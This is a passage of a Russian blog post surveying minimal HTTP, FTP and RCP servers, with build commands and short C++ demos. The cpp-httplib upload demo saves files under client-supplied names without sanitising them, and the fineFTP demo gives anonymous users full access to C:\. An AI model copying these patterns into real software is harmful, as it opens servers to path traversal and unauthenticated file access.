  &lt;p id=&quot;RBOn&quot;&gt;Разумеется это не мейнстрим и к качеству есть вопросы, зато все уместилось в очень небольшом коде, без особых ухищрений по миниатюризации и потому вполне читаемому.&lt;/p&gt;
  &lt;p id=&quot;xmni&quot;&gt;Так выглядит сборка тестового сервера, использующего эту библиотеку:&lt;/p&gt;
  &lt;pre id=&quot;VXqv&quot; data-lang=&quot;bash&quot;&gt;g++ -o server -O2 -std=c++11 -I.. -Wall -Wextra -pthread \
  server.cc -DCPPHTTPLIB_OPENSSL_SUPPORT -lssl -lcrypto \
  -DCPPHTTPLIB_ZLIB_SUPPORT -lz -DCPPHTTPLIB_BROTLI_SUPPORT \
  -lbrotlicommon -lbrotlienc -lbrotlidec&lt;/pre&gt;
  &lt;p id=&quot;dOET&quot;&gt;Несложно догадаться по флагам вроде &lt;code&gt;CPPHTTPLIB_ZLIB_SUPPORT&lt;/code&gt;, что большая часть зависимостей отключаема.&lt;/p&gt;
  &lt;blockquote id=&quot;bLyM&quot;&gt;Еще думаю, заблудиться в 11к строчках кода и одном единственном файле будет проблематично даже у &lt;s&gt;нейросети&lt;/s&gt; не самых опытных «плюсолюбов».&lt;/blockquote&gt;
  &lt;p id=&quot;bQTu&quot;&gt;Так выглядит серверный «Hello, world!»:&lt;/p&gt;
  &lt;pre id=&quot;Vheh&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;httplib.h&amp;gt;
using namespace httplib;

int main(void) {
  Server svr;

  svr.Get(&amp;quot;/hi&amp;quot;, [](const Request &amp;amp; /*req*/, Response &amp;amp;res) {
    res.set_content(&amp;quot;Hello World!&amp;quot;, &amp;quot;text/plain&amp;quot;);
  });

  svr.listen(&amp;quot;0.0.0.0&amp;quot;, 8080);
}&lt;/pre&gt;
  &lt;p id=&quot;Oykm&quot;&gt;В лучших традициях Django или Rails, тут есть маршрутизация запросов и привязка к URL — в данном случае обработчик связывается с урлом &lt;code&gt;/hi&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;LMMI&quot;&gt;Вот так выглядит обработка загрузки файлов с помощью формы и POST-запроса:&lt;/p&gt;
  &lt;pre id=&quot;aNK1&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;fstream&amp;gt;
#include &amp;lt;httplib.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
using namespace httplib;
using namespace std;

const char *html = R&amp;quot;(
&amp;lt;form id=&amp;quot;formElem&amp;quot;&amp;gt;
  &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;image_file&amp;quot; accept=&amp;quot;image/*&amp;quot;&amp;gt;
  &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;text_file&amp;quot; accept=&amp;quot;text/*&amp;quot;&amp;gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;
  formElem.onsubmit = async (e) =&amp;gt; {
    e.preventDefault();
    let res = await fetch(&amp;#x27;/post&amp;#x27;, {
      method: &amp;#x27;POST&amp;#x27;,
      body: new FormData(formElem)
    });
    console.log(await res.text());
  };
&amp;lt;/script&amp;gt;
)&amp;quot;;

int main(void) {
  Server svr;

  svr.Get(&amp;quot;/&amp;quot;, [](const Request &amp;amp; /*req*/, Response &amp;amp;res) {
    res.set_content(html, &amp;quot;text/html&amp;quot;);
  });

  svr.Post(&amp;quot;/post&amp;quot;, [](const Request &amp;amp;req, Response &amp;amp;res) {
    const auto &amp;amp;image_file = req.form.get_file(&amp;quot;image_file&amp;quot;);
    const auto &amp;amp;text_file = req.form.get_file(&amp;quot;text_file&amp;quot;);

    cout &amp;lt;&amp;lt; &amp;quot;image file length: &amp;quot; &amp;lt;&amp;lt; image_file.content.length() &amp;lt;&amp;lt; endl
         &amp;lt;&amp;lt; &amp;quot;image file name: &amp;quot; &amp;lt;&amp;lt; image_file.filename &amp;lt;&amp;lt; endl
         &amp;lt;&amp;lt; &amp;quot;text file length: &amp;quot; &amp;lt;&amp;lt; text_file.content.length() &amp;lt;&amp;lt; endl
         &amp;lt;&amp;lt; &amp;quot;text file name: &amp;quot; &amp;lt;&amp;lt; text_file.filename &amp;lt;&amp;lt; endl;
    {
      ofstream ofs(image_file.filename, ios::binary);
      ofs &amp;lt;&amp;lt; image_file.content;
    }
    {
      ofstream ofs(text_file.filename);
      ofs &amp;lt;&amp;lt; text_file.content;
    }

    res.set_content(&amp;quot;done&amp;quot;, &amp;quot;text/plain&amp;quot;);
  });

  svr.listen(&amp;quot;localhost&amp;quot;, 1234);
}&lt;/pre&gt;
  &lt;p id=&quot;jjS2&quot;&gt;Так это выглядит в действии:&lt;/p&gt;
  &lt;figure id=&quot;Y8F7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/2e/d32ed51e-0e82-4324-88e8-2982cd54e0e1.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;i4Pq&quot;&gt;Разумеется подобный функционал — не откровение, особенно на 2026й год, но блин господа офицеры: &lt;/p&gt;
  &lt;blockquote id=&quot;FM6b&quot;&gt;11к строк кода на все красоты!&lt;/blockquote&gt;
  &lt;p id=&quot;BE6I&quot;&gt;Теперь переходим к миниатюрным реализациям протокола FTP — для передачи файлов, если кто вдруг забыл.&lt;/p&gt;
  &lt;p id=&quot;Ov9X&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;5Eil&quot;&gt;tiny_ftpserver&lt;/h2&gt;
  &lt;p id=&quot;EOH2&quot;&gt;&lt;a href=&quot;https://github.com/adamwym/tiny_ftpserver&quot; target=&quot;_blank&quot;&gt;https://github.com/adamwym/tiny_ftpserver&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;aJ0z&quot;&gt;Вот такой «игрушечный» проект:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;E07y&quot;&gt;a tiny FTP server written in C++&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ybzc&quot;&gt;всего &lt;strong&gt;1.5к&lt;/strong&gt; строк на С++11 от безвестного китайского автора реализуют  полнофункциональный FTP/FTPS-сервер: &lt;/p&gt;
  &lt;blockquote id=&quot;yTyG&quot;&gt;с chroot, поддержкой локальных и анонимных юзеров и всем прочим.&lt;/blockquote&gt;
  &lt;p id=&quot;P1wy&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/FTPS&quot; target=&quot;_blank&quot;&gt;FTPS&lt;/a&gt; это довольно редко встречающееся расширение протокола FTP, с поддержкой шифрования передачи данных. Не набравшее большой популярности ввиду появления &lt;a href=&quot;https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol&quot; target=&quot;_blank&quot;&gt;SFTP&lt;/a&gt; и органичений самого FTP.&lt;/p&gt;
  &lt;p id=&quot;vmDk&quot;&gt;Так это выглядит в работе:&lt;/p&gt;
  &lt;figure id=&quot;7j7M&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/90/3690a914-bf5d-4975-8987-26e9deeb9627.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;01xq&quot;&gt;Проект использует известную библиотеку &lt;code&gt;&lt;a href=&quot;https://github.com/libnet/libnet&quot; target=&quot;_blank&quot;&gt;libnet&lt;/a&gt;&lt;/code&gt;, о чем автор забыл сообщить:&lt;/p&gt;
  &lt;pre id=&quot;YH7Y&quot; data-lang=&quot;bash&quot;&gt;apt install libnet1-dev&lt;/pre&gt;
  &lt;p id=&quot;6BfL&quot;&gt;Cборка происходит с помощью &lt;code&gt;cmake&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;54Fo&quot; data-lang=&quot;bash&quot;&gt;mkdir build &amp;amp;&amp;amp; cd build
cmake ..&lt;/pre&gt;
  &lt;p id=&quot;gkWe&quot;&gt;Реализация FTP-сервера тут максимально классическая — используется &lt;code&gt;chroot&lt;/code&gt;, а использование 21 и 20 портов зашито в код:&lt;/p&gt;
  &lt;pre id=&quot;fstp&quot; data-lang=&quot;cpp&quot;&gt;..
int socketfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
struct sockaddr_in server_addr;
memset(&amp;amp;server_addr, 0, sizeof(server_addr));
server_addr.sin_port = htons(21);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
..   &lt;/pre&gt;
  &lt;p id=&quot;1oJI&quot;&gt;Все это означает, что запускать сервер придется от суперпользователя:&lt;/p&gt;
  &lt;pre id=&quot;mMFr&quot; data-lang=&quot;bash&quot;&gt;sudo ./tiny_ftpserver ../tiny_ftpserver.conf &lt;/pre&gt;
  &lt;p id=&quot;gDQe&quot;&gt;У этого проекта есть один неожиданный нюанс:&lt;/p&gt;
  &lt;blockquote id=&quot;OGQ6&quot;&gt;на самом деле это.. студенческая работа.&lt;/blockquote&gt;
  &lt;p id=&quot;5bCb&quot;&gt;И &lt;a href=&quot;https://github.com/CalciferZh/TinyFTP&quot; target=&quot;_blank&quot;&gt;подобных&lt;/a&gt; &lt;a href=&quot;https://github.com/wenchy/tinyFTP&quot; target=&quot;_blank&quot;&gt;проектов&lt;/a&gt; на Github оказалось &lt;a href=&quot;https://github.com/kramble/smallftpd&quot; target=&quot;_blank&quot;&gt;великое&lt;/a&gt; &lt;a href=&quot;https://github.com/osvimer/tiny-ftp&quot; target=&quot;_blank&quot;&gt;множество&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;nIGt&quot;&gt;Так что далеко не везде в 2026м году забыли что такое высшее техническое образование, что не может не радовать.&lt;/p&gt;
  &lt;p id=&quot;M4pE&quot;&gt;&lt;/p&gt;
  &lt;h1 id=&quot;IXp9&quot;&gt;fineFTP Server&lt;/h1&gt;
  &lt;p id=&quot;Me9M&quot;&gt;&lt;a href=&quot;https://github.com/eclipse-ecal/fineftp-server&quot; target=&quot;_blank&quot;&gt;https://github.com/eclipse-ecal/fineftp-server&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;U4Bn&quot;&gt;Следующий интересный и весьма редкий проект:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;bvzE&quot;&gt;FineFTP is a minimal FTP server library for Windows and Unix flavors.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;o0FQ&quot;&gt;~&lt;strong&gt;2k&lt;/strong&gt; строк на С++14 реализуют FTP-сервер в виде.. библиотеки!&lt;/p&gt;
  &lt;blockquote id=&quot;J73z&quot;&gt;В этом и есть основной прикол — возможность встроить FTP (причем сервер а не клиент) в ваш собственный проект.&lt;/blockquote&gt;
  &lt;p id=&quot;8ZIa&quot;&gt;Так выглядит код примера, с внедрением FTP-сервера:&lt;/p&gt;
  &lt;pre id=&quot;sS6D&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;fineftp/server.h&amp;gt;
#include &amp;lt;thread&amp;gt;
 
int main() {
  // Create an FTP Server on port 2121. We use 2121 instead of the default port
  // 21, as your application would need root privileges to open port 21.
  fineftp::FtpServer ftp_server(2121);
 
  // Add the well known anonymous user. Clients can log in using username
  // &amp;quot;anonymous&amp;quot; or &amp;quot;ftp&amp;quot; with any password. The user will be able to access
  // your C:\ drive and upload, download, create or delete files. On Linux just
  // replace &amp;quot;C:\\&amp;quot; with any valid path. FineFTP is designed to be cross-platform.
  ftp_server.addUserAnonymous(&amp;quot;C:\\&amp;quot;, fineftp::Permission::All);
  
  // Start the FTP Server with a thread-pool size of 4.
  ftp_server.start(4);
 
  // Prevent the application from exiting immediately
  for (;;) std::this_thread::sleep_for(std::chrono::milliseconds(100));
  return 0;
}&lt;/pre&gt;
  &lt;p id=&quot;3H7W&quot;&gt;Зачем и для чего такое может быть нужно — другой вопрос, все же обычно работу с файлами в конечном приложении (например обновление прошивки) стараются реализовать в виде клиента и через HTTP/HTTPS.&lt;/p&gt;
  &lt;p id=&quot;sfLX&quot;&gt;Но с точки зрения использования все отлично работает:&lt;/p&gt;
  &lt;figure id=&quot;piYH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b0/94/b094f520-5e9d-445c-9edb-bc4198abf78d.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DNCJ&quot;&gt;Это хорошая, взрослая библиотека, с несколькими коммитерами, с историей разработки, которая активно поддерживается и развивается.&lt;/p&gt;
  &lt;p id=&quot;7lPC&quot;&gt;Старого цирка с &lt;code&gt;chroot&lt;/code&gt; и 21м портом тут нет, поэтому все работает без привилегий суперпользователя — на скриншоте выше как раз видно использование нестандартного порта для работы.&lt;/p&gt;
  &lt;blockquote id=&quot;bvOT&quot;&gt;Поддерживается сборка для Linux, MacOS и Windows c приоритетом для последней.&lt;/blockquote&gt;
  &lt;p id=&quot;aso2&quot;&gt;Отличный проект, но далеко не последний в сегодняшней подборке.&lt;/p&gt;
  &lt;p id=&quot;vdij&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;BriY&quot;&gt;rcpd&lt;/h2&gt;
  &lt;p id=&quot;v4Vu&quot;&gt;&lt;a href=&quot;https://github.com/tenox7/rcpd&quot; target=&quot;_blank&quot;&gt;https://github.com/tenox7/rcpd&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;quZE&quot;&gt;Этот проект — привет из далекого и славного прошлого:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;p0Cf&quot;&gt;This is a modern re-implementation of &lt;a href=&quot;https://linux.die.net/man/1/rcp&quot; target=&quot;_blank&quot;&gt;rcp&lt;/a&gt; (remote copy protocol) daemon, originally part &lt;a href=&quot;https://en.wikipedia.org/wiki/Berkeley_r-commands&quot; target=&quot;_blank&quot;&gt;berkeley r-commands&lt;/a&gt;.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;EPPf&quot;&gt;Да, это самый настоящий сервер &lt;a href=&quot;https://www.ssh.com/academy/ssh/rcp&quot; target=&quot;_blank&quot;&gt;RCP&lt;/a&gt;, всего &lt;strong&gt;300&lt;/strong&gt; строк на Golang от знаменитого в узких кругах компьютерных реконструкторов автора &lt;a href=&quot;https://github.com/tenox7&quot; target=&quot;_blank&quot;&gt;Tenox&lt;/a&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;2pEt&quot;&gt;RCP это такой устаревший протокол передачи файлов между компьютерами с UNIX, уже мало пригодный для использования в современных реалиях ввиду отсутствия какого-либо шифрования и авторизации.&lt;/blockquote&gt;
  &lt;p id=&quot;Ezpj&quot;&gt;Крайне актуальный, если имеете дело с устаревшим оборудованием или встраиваемыми системами, которые до сих пор используют именно &lt;code&gt;rcp&lt;/code&gt; для загрузки прошивок по сети.&lt;/p&gt;
  &lt;p id=&quot;XT45&quot;&gt;Возвращаясь к проекту:&lt;/p&gt;
  &lt;blockquote id=&quot;dycC&quot;&gt;rcpd от Tenox реализует серверную сторону — сервер RCP&lt;/blockquote&gt;
  &lt;p id=&quot;KeEj&quot;&gt;К которому подключаются клиенты для загрузки или скачивания файлов.&lt;/p&gt;
  &lt;p id=&quot;eOD0&quot;&gt;Так выглядит процесс копирования файла, в качестве клиента тут rcp из пакета GNU Inetutils:&lt;/p&gt;
  &lt;figure id=&quot;5j1j&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7e/85/7e8506a5-588c-4c99-b180-d9df83cc3659.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NwLa&quot;&gt;Как видите и клиент и сервер запускаются от суперпользователя — такие были времена, RCP использует 514 порт, который нельзя занять без привилегий.&lt;/p&gt;
  &lt;p id=&quot;c4F3&quot;&gt;Сборка:&lt;/p&gt;
  &lt;pre id=&quot;izMj&quot; data-lang=&quot;bash&quot;&gt;go build -o rcpd .&lt;/pre&gt;
  &lt;p id=&quot;rg9h&quot;&gt;Кстати в &lt;code&gt;Makefile&lt;/code&gt; проекта есть поддержка кроссплатформенных сборок, с весьма богатым выбором:&lt;/p&gt;
  &lt;figure id=&quot;1fpA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/29/91/2991483b-1449-4e46-8004-7135a527772d.png&quot; width=&quot;804&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9HWW&quot;&gt;Стоит добавить, что протокол RCP сам по себе очень простой и не менялся весь период своего существования, что позволяет подключаться к этому RCP-серверу даже с помощью клиентских программ из 80х и 90х.&lt;/p&gt;
  &lt;p id=&quot;IIYM&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Q9zU&quot;&gt;За кадром&lt;/h2&gt;
  &lt;p id=&quot;A65P&quot;&gt;Детально разобрать удалось лишь малую часть интересных находок, поэтому ниже буквально одной строкой про интересные миниатюрные, точно заслуживающие внимания.&lt;/p&gt;
  &lt;h3 id=&quot;Yt1k&quot;&gt;url.c&lt;/h3&gt;
  &lt;p id=&quot;PlfH&quot;&gt;&lt;a href=&quot;https://github.com/cozis/url.c/&quot; target=&quot;_blank&quot;&gt;https://github.com/cozis/url.c/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;hMdu&quot;&gt;Парсер строк URL на чистом С и без зависимостей:&lt;/p&gt;
  &lt;blockquote id=&quot;SEgg&quot;&gt;This is a small library to parse and manipulate URLs in conformance to RFC 3986 and (most of) the WHATWG specification.&lt;/blockquote&gt;
  &lt;p id=&quot;NI6d&quot;&gt;Что умеет:&lt;/p&gt;
  &lt;ul id=&quot;4xSS&quot;&gt;
    &lt;li id=&quot;OBHg&quot;&gt;No allocations&lt;/li&gt;
    &lt;li id=&quot;uPU5&quot;&gt;No dependencies&lt;/li&gt;
    &lt;li id=&quot;kSav&quot;&gt;The ability to switch between RFC 3986 and WHATWG with a flag&lt;/li&gt;
    &lt;li id=&quot;G9FS&quot;&gt;Relative reference parsing and resolution&lt;/li&gt;
    &lt;li id=&quot;Wx1k&quot;&gt;URL normalization&lt;/li&gt;
    &lt;li id=&quot;VGuY&quot;&gt;Doesn&amp;#x27;t rely on null-terminated strings&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Hmep&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Pj0E&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;N1bU&quot;&gt;LightFTP&lt;/h3&gt;
  &lt;p id=&quot;o9a2&quot;&gt;&lt;a href=&quot;https://github.com/hfiref0x/LightFTP&quot; target=&quot;_blank&quot;&gt;https://github.com/hfiref0x/LightFTP&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Jih8&quot;&gt;Еще один интересный проект миниатюрного FTP-сервера:&lt;/p&gt;
  &lt;blockquote id=&quot;SN2n&quot;&gt;Small x86-32/x64 FTP Server&lt;/blockquote&gt;
  &lt;p id=&quot;GNaa&quot;&gt;Поддерживается сборка под Linux/Windows/Mac, сам проект не мертвый и судя по коммитам - развивается.&lt;/p&gt;
  &lt;h3 id=&quot;aUV3&quot;&gt;uftpserver&lt;/h3&gt;
  &lt;p id=&quot;yYIM&quot;&gt;&lt;a href=&quot;https://github.com/cpopp/MicroFTPServer&quot; target=&quot;_blank&quot;&gt;https://github.com/cpopp/MicroFTPServer&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;UKox&quot;&gt;Весьма специфичная реализация FTP-сервера для встраиваемых систем:&lt;/p&gt;
  &lt;blockquote id=&quot;fyFm&quot;&gt;Minimal FTP Server that can run on an ESP8266 with MicroPython&lt;/blockquote&gt;
  &lt;p id=&quot;WjYC&quot;&gt;Так я впервые узнал о существовании «&lt;a href=&quot;https://micropython.org/&quot; target=&quot;_blank&quot;&gt;микропетона&lt;/a&gt;» — давно существующего проекта, с огромным количеством поддерживаемого железа и широким функционалом. &lt;/p&gt;
  &lt;p id=&quot;6MlZ&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;rQlY&quot;&gt;Ну и в качестве финального аккорда:&lt;/p&gt;
  &lt;p id=&quot;aYdM&quot;&gt;&lt;a href=&quot;https://github.com/mtheall/ftpd&quot; target=&quot;_blank&quot;&gt;https://github.com/mtheall/ftpd&lt;/a&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Hj4k&quot;&gt;FTP Server for 3DS/Switch/Linux.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;HdWW&quot;&gt;Реализация FTP-сервера для.. Nintendo Switch!&lt;/p&gt;
  &lt;p id=&quot;x68v&quot;&gt;Это такая игровая консоль &lt;s&gt;для задротов&lt;/s&gt; если кто вдруг не в курсе:&lt;/p&gt;
  &lt;figure id=&quot;OK8d&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/11/e0/11e0a578-cb03-4d9e-88f4-d6c8c35ef7a4.jpeg&quot; width=&quot;2560&quot; /&gt;
  &lt;/figure&gt;

</content></entry></feed>